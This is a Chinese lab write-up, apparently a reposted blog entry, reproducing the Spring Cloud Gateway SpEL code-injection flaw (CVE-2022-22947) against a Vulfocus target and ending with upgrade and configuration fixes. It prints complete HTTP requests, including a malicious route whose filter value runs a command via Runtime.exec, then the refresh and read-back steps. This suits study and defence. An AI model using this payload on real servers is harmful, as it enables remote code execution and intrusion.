一、漏洞概述
2022年3月1日,VMware官方發布漏洞報告,在使用Spring Colud Gateway的應用程式開啟、暴露Gateway Actuator端點時,會容易造成代碼注入攻擊,攻擊者可以制造惡意請求,在遠程主機進行任意遠程執行, 二、影響版本 Spring Cloud Gateway 3.1.x < 3.1.1Spring Cloud Gateway 3.0.x < 3.0.7
舊的、不受支持的版本也會受到影響
三、漏洞原理
大白話就是說:因為ShortcutConfigurable.java中的getValue方法可以被ConfigurationService.java包中ConfigurableBuilder的normalizeProperties函式的this.properties引數控制修改,攻擊者通過添加帶有filter的惡意路由,當重新加載路由時,會觸發對引數的歸一化邏輯,從而導致filter引數value中的SPEL運算式被決議,
大佬文章鏈接:https://blog.csdn.net/include_voidmain/article/details/123819107
四、漏洞復現環境
Kali Linux + Vulfocus
滲透機:Kali Linux
靶機:Vulfocus
五、實驗步驟
1.開啟vulfoucs并獲取實驗鏡像

2.訪問網頁并抓包
3.構造并發送惡意的路由請求
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.117.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
id欄位指定新路由的名稱,必須全域唯一;
filters
- 欄位給這條路由指定若干個過濾器,過濾器用于對請求和回應進行修改;
name欄位指定要添加的過濾器,這里添加了一個AddResponseHeader過濾器,用于 gateway 給客戶端回傳回應之前添加一個回應頭;args.name欄位指定要添加的回應頭;args.value欄位指定回應頭的值,這里的值是要執行的 SPEL 運算式,用于執行whoami命令,注意需要將命令輸出結尾的換行符去掉,否則過濾器執行時會拋出例外說「回應頭的值不能以 \r 或 \n 結尾」;uri欄位指定將客戶端請求轉發到http://example.com,

4.應用之前的路由發送此資料包,此資料包可觸發運算式
POST /actuator/gateway/refresh HTTP/1.1 Host: 192.168.117.131:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0

5.發送此資料包,查看命令回顯,可以看到之前添加的路由
GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.117.131:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0

6.訪問actuator API介面
GET /actuator HTTP/1.1 Host: 192.168.117.131:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0

7.訪問env介面并獲取flag

8.完結撒花

六、修復方式
1)3.1.x用戶應升級到3.1.1+;
2)3.0.x用戶應升級到3.0.7+;
3)如果不需要Actuator功能,可以通過management.endpoint.gateway.enable:false配置將其禁用,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/470615.html
標籤:其他
上一篇:IP編址
